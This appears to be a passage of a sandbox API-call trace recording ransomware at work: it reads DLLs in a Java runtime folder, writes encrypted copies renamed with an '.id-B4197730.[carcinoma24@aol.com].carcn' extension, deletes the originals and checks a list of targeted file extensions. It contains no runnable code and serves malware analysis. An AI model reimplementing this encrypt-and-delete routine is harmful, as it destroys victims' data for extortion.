0x0 [0302.087] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4e40, lpOverlapped=0x0) returned 1 [0302.259] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x4e50, lpOverlapped=0x0) returned 1 [0302.260] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.260] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xee, lpOverlapped=0x0) returned 1 [0302.260] SetEndOfFile (hFile=0x398) returned 1 [0302.260] CloseHandle (hObject=0x398) returned 1 [0302.260] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.260] SetEndOfFile (hFile=0x388) returned 1 [0302.261] CloseHandle (hObject=0x388) returned 1 [0302.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.262] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1 [0302.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.262] lstrlenW (lpString=".doc") returned 4 [0302.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.262] lstrlenW (lpString=".docx") returned 5 [0302.262] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0302.262] lstrlenW (lpString=".pdf") returned 4 [0302.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.262] lstrlenW (lpString=".xls") returned 4 [0302.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.262] lstrlenW (lpString=".xlsx") returned 5 [0302.262] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0302.262] lstrlenW (lpString=".ppt") returned 4 [0302.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.262] lstrlenW (lpString=".zip") returned 4 [0302.263] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.263] lstrlenW (lpString=".rar") returned 4 [0302.263] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.263] lstrlenW (lpString=".bz2") returned 4 [0302.263] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.263] lstrlenW (lpString=".7z") returned 3 [0302.263] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.263] lstrlenW (lpString=".dbf") returned 4 [0302.263] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.263] lstrlenW (lpString=".1cd") returned 4 [0302.263] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.263] lstrlenW (lpString=".jpg") returned 4 [0302.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.263] lstrlenW (lpString=".doc") returned 4 [0302.263] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.263] lstrlenW (lpString=".docx") returned 5 [0302.263] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0302.263] lstrlenW (lpString=".pdf") returned 4 [0302.263] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.263] lstrlenW (lpString=".xls") returned 4 [0302.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.263] lstrlenW (lpString=".xlsx") returned 5 [0302.263] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0302.264] lstrlenW (lpString=".ppt") returned 4 [0302.264] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.264] lstrlenW (lpString=".zip") returned 4 [0302.264] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.264] lstrlenW (lpString=".rar") returned 4 [0302.264] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.264] lstrlenW (lpString=".bz2") returned 4 [0302.264] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.264] lstrlenW (lpString=".7z") returned 3 [0302.264] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.264] lstrlenW (lpString=".dbf") returned 4 [0302.264] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.264] lstrlenW (lpString=".1cd") returned 4 [0302.264] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll") returned 52 [0302.264] lstrlenW (lpString=".jpg") returned 4 [0302.264] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.264] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.264] lstrlenW (lpString="jsdt.dll") returned 8 [0302.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.265] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18496) returned 1 [0302.265] CloseHandle (hObject=0x388) returned 1 [0302.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0302.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.265] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.266] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0302.266] GetLastError () returned 0x0 [0302.267] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4840, lpOverlapped=0x0) returned 1 [0302.361] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x4850, lpOverlapped=0x0) returned 1 [0302.362] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.362] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0302.362] SetEndOfFile (hFile=0x398) returned 1 [0302.362] CloseHandle (hObject=0x398) returned 1 [0302.362] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.362] SetEndOfFile (hFile=0x388) returned 1 [0302.363] CloseHandle (hObject=0x388) returned 1 [0302.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.363] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1 [0302.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.363] lstrlenW (lpString=".doc") returned 4 [0302.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.363] lstrlenW (lpString=".docx") returned 5 [0302.363] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0302.363] lstrlenW (lpString=".pdf") returned 4 [0302.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString=".xls") returned 4 [0302.364] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString=".xlsx") returned 5 [0302.364] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0302.364] lstrlenW (lpString=".ppt") returned 4 [0302.364] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.364] lstrlenW (lpString=".zip") returned 4 [0302.364] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString=".rar") returned 4 [0302.364] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString=".bz2") returned 4 [0302.364] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.364] lstrlenW (lpString=".7z") returned 3 [0302.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.364] lstrlenW (lpString=".dbf") returned 4 [0302.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.364] lstrlenW (lpString=".1cd") returned 4 [0302.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.364] lstrlenW (lpString=".jpg") returned 4 [0302.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.364] lstrlenW (lpString=".doc") returned 4 [0302.364] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString=".docx") returned 5 [0302.364] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0302.364] lstrlenW (lpString=".pdf") returned 4 [0302.364] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.364] lstrlenW (lpString=".xls") returned 4 [0302.365] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.365] lstrlenW (lpString=".xlsx") returned 5 [0302.365] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0302.365] lstrlenW (lpString=".ppt") returned 4 [0302.365] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.365] lstrlenW (lpString=".zip") returned 4 [0302.365] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.365] lstrlenW (lpString=".rar") returned 4 [0302.365] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.365] lstrlenW (lpString=".bz2") returned 4 [0302.365] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.365] lstrlenW (lpString=".7z") returned 3 [0302.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.365] lstrlenW (lpString=".dbf") returned 4 [0302.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.365] lstrlenW (lpString=".1cd") returned 4 [0302.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0302.365] lstrlenW (lpString=".jpg") returned 4 [0302.365] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.365] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.365] lstrlenW (lpString="jsoundds.dll") returned 12 [0302.366] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.366] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=31296) returned 1 [0302.366] CloseHandle (hObject=0x388) returned 1 [0302.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0302.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.366] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.366] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.367] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.367] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0302.367] GetLastError () returned 0x0 [0302.367] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x7a40, lpOverlapped=0x0) returned 1 [0302.830] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x7a50, lpOverlapped=0x0) returned 1 [0302.832] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.832] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.832] SetEndOfFile (hFile=0x398) returned 1 [0302.832] CloseHandle (hObject=0x398) returned 1 [0302.832] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.832] SetEndOfFile (hFile=0x388) returned 1 [0302.833] CloseHandle (hObject=0x388) returned 1 [0302.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.833] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1 [0302.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.833] lstrlenW (lpString=".doc") returned 4 [0302.833] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.833] lstrlenW (lpString=".docx") returned 5 [0302.834] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0302.834] lstrlenW (lpString=".pdf") returned 4 [0302.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString=".xls") returned 4 [0302.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString=".xlsx") returned 5 [0302.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0302.834] lstrlenW (lpString=".ppt") returned 4 [0302.834] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.834] lstrlenW (lpString=".zip") returned 4 [0302.834] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString=".rar") returned 4 [0302.834] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString=".bz2") returned 4 [0302.834] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.834] lstrlenW (lpString=".7z") returned 3 [0302.834] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.834] lstrlenW (lpString=".dbf") returned 4 [0302.834] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.834] lstrlenW (lpString=".1cd") returned 4 [0302.834] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.834] lstrlenW (lpString=".jpg") returned 4 [0302.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.834] lstrlenW (lpString=".doc") returned 4 [0302.834] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString=".docx") returned 5 [0302.834] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0302.834] lstrlenW (lpString=".pdf") returned 4 [0302.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString=".xls") returned 4 [0302.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0302.834] lstrlenW (lpString=".xlsx") returned 5 [0302.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0302.835] lstrlenW (lpString=".ppt") returned 4 [0302.835] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0302.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.835] lstrlenW (lpString=".zip") returned 4 [0302.835] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0302.835] lstrlenW (lpString=".rar") returned 4 [0302.835] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0302.835] lstrlenW (lpString=".bz2") returned 4 [0302.835] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0302.835] lstrlenW (lpString=".7z") returned 3 [0302.835] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0302.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.835] lstrlenW (lpString=".dbf") returned 4 [0302.835] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0302.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.835] lstrlenW (lpString=".1cd") returned 4 [0302.835] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0302.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0302.835] lstrlenW (lpString=".jpg") returned 4 [0302.835] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0302.835] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.835] lstrlenW (lpString="msvcp120.dll") returned 12 [0302.835] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.836] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=660128) returned 1 [0302.836] CloseHandle (hObject=0x388) returned 1 [0302.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0302.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0302.836] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.836] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0302.836] GetLastError () returned 0x0 [0302.837] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xa12a0, lpOverlapped=0x0) returned 1 [0303.035] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xa12b0, lpOverlapped=0x0) returned 1 [0303.046] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.046] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.046] SetEndOfFile (hFile=0x398) returned 1 [0303.047] CloseHandle (hObject=0x398) returned 1 [0303.047] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.047] SetEndOfFile (hFile=0x388) returned 1 [0303.053] CloseHandle (hObject=0x388) returned 1 [0303.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0303.054] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) 